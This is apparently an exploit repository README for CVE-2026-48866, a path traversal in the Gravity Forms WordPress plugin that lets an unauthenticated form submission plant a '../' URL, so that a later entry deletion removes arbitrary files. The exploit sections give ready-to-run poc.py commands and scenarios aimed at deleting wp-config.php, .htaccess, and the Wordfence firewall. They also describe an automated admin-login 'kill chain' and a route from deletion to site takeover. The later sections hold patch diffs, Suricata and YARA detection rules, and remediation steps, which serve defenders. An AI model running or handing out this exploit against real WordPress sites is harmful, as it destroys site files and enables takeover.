Share
## https://sploitus.com/exploit?id=D941C451-6928-596E-8F60-A1FA724CCF70
---

```
  ┌───────────────────────────────────────────────────────────┐
  │                                                           │
  │   C V E - 2 0 2 6 - 4 8 8 6 6                             │
  │                                                           │
  │   Gravity Forms Path Traversal → Arbitrary File Deletion  │
  │                                                           │
  └───────────────────────────────────────────────────────────┘
```


  gform_uploaded_files accepts ../ in URLs. An admin's delete click triggers arbitrary file deletion.



  NVD •
  Patchstack •
  Patched Commit •
  Source Mirror


---

## Table of Contents





**Exploit**
- [Quick Start](#quick-start)
- [How It Works](#how-it-works)
- [Impact](#impact)
- [Usage](#usage)




**Defense**
- [Technical Deep-Dive](#technical-deep-dive)
- [Detection](#detection)
- [Remediation](#remediation)
- [References](#references)





---

## Quick Start

```
┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘
```

```bash
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests

# Inject only (unauthenticated — file dies when admin cleans entries)
python3 poc.py -t https://test.com -f 1 -i 3

# Full kill chain (admin creds provided — immediate deletion)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
```

---

## How It Works

### Attack Flow

```
  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘
```

### The Root Cause (3 Lines of PHP)

```php
// forms_model.php — get_physical_file_path()
// Converts stored URL to filesystem path via string replacement
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
    trailingslashit( $path_info['url'] ),    // https://target.com/wp-content/uploads/gravity_forms/
    trailingslashit( $path_info['path'] ),   // /var/www/html/wp-content/uploads/gravity_forms/
    $url                                      // .../gravity_forms/../../../wp-config.php
);
// Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves ../../../ → /var/www/html/wp-config.php
```

No check exists between `str_replace()` and `unlink()`. The bug lives in that gap.

---

## Impact



Target
Effect
Severity


wp-config.php
Site goes offline. WordPress shows the installer wizard. Attacker points the DB to their own server for full site takeover.
CRITICAL


.htaccess
URL rewriting and security rules gone. Directory listings open.
HIGH


wp-content/plugins/wordfence/wordfence.php
Wordfence WAF stops running. No firewall between attacker and site.
HIGH


wp-includes/plugin.php
No plugins load. Site stops functioning.
CRITICAL


wp-login.php
Admin locked out. Nobody can log in until you restore files.
MEDIUM



> *"Vulnerabilities like this one are used in mass-exploit campaigns targeting thousands of websites at a time."*
> [Patchstack Advisory, 2026-06-01](https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability)

### Deletion → RCE Escalation Chain

```
  ┌─────────────┐      ┌──────────────────┐      ┌─────────────────┐
  │ Delete       │      │ WordPress shows   │      │ Attacker sets   │
  │ wp-config.php│ ──── │ installer wizard  │ ──── │ own DB creds    │
  └─────────────┘      └──────────────────┘      └────────┬────────┘
                                                           │
                                                           ▼
                                                  ┌─────────────────┐
                                                  │ Full admin      │
                                                  │ access to site  │
                                                  │ (RCE via themes │
                                                  │  /plugin editor)│
                                                  └─────────────────┘
```

**RCE chain requires:**
- Attacker-controlled reachable MySQL server
- WordPress installer accessible (not blocked by hosting/WAF)
- Result: attacker gets a fresh WordPress install on the same domain, NOT access to existing site data

---

## Usage

### Command Reference

```
┌──────────────────────────────────────────────────────────────────────────┐
│  USAGE                                                                   │
│  ─────────────────────────────────────────────────────────────────────   │
│  python3 poc.py [OPTIONS]                                                │
│                                                                          │
│  REQUIRED                                                                │
│    -t, --target TARGET       Target WordPress URL                        │
│    -f, --form-id ID          Gravity Forms form ID                       │
│    -i, --field-id ID         File upload field ID                        │
│                                                                          │
│  OPTIONAL                                                                │
│    --file FILE               Relative path to delete (default:           │
│                              wp-config.php)                              │
│    --depth N                 ../ count (default: 3)                       │
│    --trigger                 Auto-delete via admin login                  │
│    --admin-user USER         Admin username (default: admin)              │
│    --admin-pass PASS         Admin password (default: admin)              │
│    --proxy URL               HTTP proxy for intercepting                  │
│    --verify-only             Check target only, don't exploit             │
└──────────────────────────────────────────────────────────────────────────┘
```

### Example Scenarios


Scenario 1: Silent injection (no admin creds needed)

```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3
```

1. PoC fetches the form page, extracts the AJAX nonce
2. Submits `gform_uploaded_files` with `../../../wp-config.php` embedded in the URL
3. The database stores the entry with the malicious URL
4. When an admin deletes the entry (routine cleanup or bulk delete), `wp-config.php` is gone

**Time to trigger:** Unknown. Depends on admin behavior. Hours or weeks.



Scenario 2: Full kill chain (admin creds provided)

```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'
```

1. Phase 1: Injects the malicious entry (same as Scenario 1)
2. Phase 2: Logs into WordPress as admin, finds the poisoned entry, deletes it
3. `wp-config.php` is gone
4. PoC checks that the site is down

**Time to trigger:** Seconds.



Scenario 3: Target .htaccess (lower depth needed)

```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --file .htaccess \
  --depth 2 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'
```

**Depth explanation:**
```
depth 3 (default):  gravity_forms/ → uploads/ → wp-content/ → WP root
depth 2:            gravity_forms/ → uploads/ → wp-content/ (.htaccess lives here)
depth 1:            gravity_forms/ → uploads/ (files in uploads dir)
```



Scenario 4: Disable Wordfence firewall

```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --file wp-content/plugins/wordfence/wordfence.php \
  --depth 1 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'
```



Scenario 5: Route through Burp Suite

```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!' \
  --proxy http://127.0.0.1:8080
```


### Sample Output

```
    CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
    ======================================================
    Target:     https://test.com
    Form ID:    1
    Field ID:   3
    File:       wp-config.php
    Depth:      3
    Trigger:    True

[*] === Phase 1: Injecting path traversal payload ===
[*] Fetching form page to get nonce...
[+] Got nonce: a1b2c3d4e5f6
[*] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php
[*] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php...
[*] Response status: 200
[+] Form submitted successfully. Malicious URL stored in entry.

[*] === Phase 2: Triggering file deletion as admin ===
[+] Logged in as admin
[+] Found latest entry ID: 42
[*] Deleting entry 42...
[+] Entry deleted. If the target file existed, it should now be deleted.

[*] Checking target site health...
[!!!] Site returned error - wp-config.php may have been deleted!
```

---

## Technical Deep-Dive

### Call Stack: Injection Path

```
wp_ajax_nopriv_gform_submit_form                     ← WordPress AJAX, NO AUTH
  └─ GF_Ajax_Handler::submit_form()
      └─ GFAPI::submit_form()
          └─ GFFormDisplay::process_form()
              ├─ GFFormsModel::set_uploaded_files()          [forms_model.php]
              │   └─ esc_url_raw( $file['url'] )             ← does NOT strip ../
              └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
                  └─ get_multifile_value()
                      ├─ GFCommon::is_valid_url($url)        ← format-only, ../ passes
                      └─ $uploaded_files[] = $file['url']     ← STORED WITH ../
```

### Call Stack: Deletion Path

```
GFFormsModel::delete_lead()                           [forms_model.php]
  └─ GFFormsModel::delete_files( $entry_id )
      └─ delete_physical_file( $file_url, $entry_id )
          ├─ get_physical_file_path( $url )
          │   └─ str_replace( url_base, path_base, $url )    ← ../ PRESERVED
          ├─ file_exists( $file_path )                        ← OS resolves ../
          └─ unlink( $file_path )                             ← ARBITRARY FILE DELETED
```

### Vulnerable vs Patched



Vulnerable (≤ 2.10.0.1)
Patched (2.10.1)




```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}
```




```php
// delete_physical_file() — WITH validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// NEW: verify path is in uploads
if ( ! GFCommon::is_file_in_uploads($url) ) {
    GFCommon::log_debug(__METHOD__
        . sprintf(': Not deleting: %s', $file_path));
    return;
}
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}
```





### Patch Functions (v2.10.1)

**`GFCommon::get_absolute_path()`** resolves `.` and `..` by walking path segments:

```php
public static function get_absolute_path( $path ) {
    $path      = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path );
    $path      = str_replace( '://', '|%%protocol%%|', $path );
    $parts     = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
    $absolutes = array();

    foreach ( $parts as $part ) {
        if ( '.' == $part ) { continue; }
        if ( '..' == $part ) {
            array_pop( $absolutes );
        } else {
            $absolutes[] = $part;
        }
    }

    $path = implode( DIRECTORY_SEPARATOR, $absolutes );
    return str_replace( '|%%protocol%%|', '://', $path );
}
```

**`GFCommon::is_file_in_uploads()`** compares the resolved path against the uploads root:

```php
public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar(
        GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
    );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}
```

### Commit References

| Version | Commit | Description |
|---|---|---|
| v2.10.0 | [`86bf7b9`](https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed) | Vulnerable. No path validation in `delete_physical_file()` |
| v2.10.1 | [`cf2ff65`](https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422) | Patched. Adds `is_file_in_uploads()` guard before `unlink()` |

---

## Detection

### Network: Suricata Rules

```suricata
# Rule 1: Detect ../ traversal in gform_uploaded_files
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"../"; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048866; rev:1;)

# Rule 2: URL-encoded variant (%2e%2e)
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"%2e%2e"; nocase; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048867; rev:1;)

# Rule 3: "url" key with traversal nearby
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"|22|url|22|"; distance:0; \
  content:".."; distance:0; within:200; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048868; rev:1;)
```

### Host: YARA Rules

```yara
rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
        cve         = "CVE-2026-48866"
        severity    = "critical"
        author      = "security-research"
    strings:
        $gform_param = "gform_uploaded_files"
        $traversal1  = "../"
        $traversal2  = "..\\"
        $traversal3  = "%2e%2e%2f" nocase
        $traversal4  = "..%2f" nocase
        $url_key     = "\"url\""
    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
        cve         = "CVE-2026-48866"
        severity    = "high"
    strings:
        $plugin_id = "gravityforms"
        $vuln_func = "delete_physical_file"
        $fix_func  = "is_file_in_uploads"
    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Confirms Gravity Forms has the is_file_in_uploads patch"
        cve         = "CVE-2026-48866"
        severity    = "informational"
    strings:
        $plugin_id   = "gravityforms"
        $fix_func    = "is_file_in_uploads"
        $fix_helper  = "get_absolute_path"
    condition:
        $plugin_id and $fix_func and $fix_helper
}
```

```bash
# Scan your Gravity Forms installation
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
```

| Rule | You Found |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | The exploit payload in an HTTP log or POST body |
| `CVE_2026_48866_Vulnerable_Plugin` | A Gravity Forms install without the fix |
| `CVE_2026_48866_Patched_Plugin` | A Gravity Forms install with the fix |

### Log Analysis

```bash
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE
```

---

## Remediation

```
┌─────────────────────────────────────────────────────────────────────────┐
│  REMEDIATION CHECKLIST                                                  │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1                               │
│  [ ] 2. VERIFY fix is present (grep for is_file_in_uploads)            │
│  [ ] 3. AUDIT access logs for past exploitation attempts               │
│  [ ] 4. DEPLOY Suricata/WAF rules as interim protection               │
│  [ ] 5. CHECK file integrity (were any core files already deleted?)    │
│  [ ] 6. MONITOR for new entries with suspicious file URLs              │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
```

| Priority | Action | Command |
|---|---|---|
| P0 | Update Gravity Forms | WordPress admin → Plugins → Update |
| P1 | Verify patch | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | Audit logs | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | Deploy WAF rules | See [Detection](#detection) section above |

---

## Disclaimer

```
┌─────────────────────────────────────────────────────────────────────────┐
│  LEGAL NOTICE                                                           │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL  │
│  PURPOSES ONLY. Unauthorized access to computer systems is illegal      │
│  under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse      │
│  Directive, and equivalent laws worldwide.                              │
│                                                                         │
│  • Always obtain WRITTEN PERMISSION before testing systems you own.    │
│  • You are responsible for complying with all applicable laws.          │
│  • The authors assume NO LIABILITY for misuse of this software.         │
│                                                                         │
│  If you find this vulnerability in production: REPORT IT.               │
│  Patchstack: https://patchstack.com/database/                           │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
```

---

## References

| Source | Link | Status |
|---|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-48866 | Verified |
| Patchstack Advisory | https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability | Verified |
| Gravity Forms Changelog | https://docs.gravityforms.com/gravityforms-change-log/ | Verified |
| Source Code (Mirror) | https://github.com/codewurker/gravityforms | Verified |
| Vulnerable Commit (v2.10.0) | https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed | Verified |
| Patched Commit (v2.10.1) | https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422 | Verified |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html | Verified |
| MITRE CVE | https://vulners.com/cve/CVE-2026-48866 | Not yet populated |

---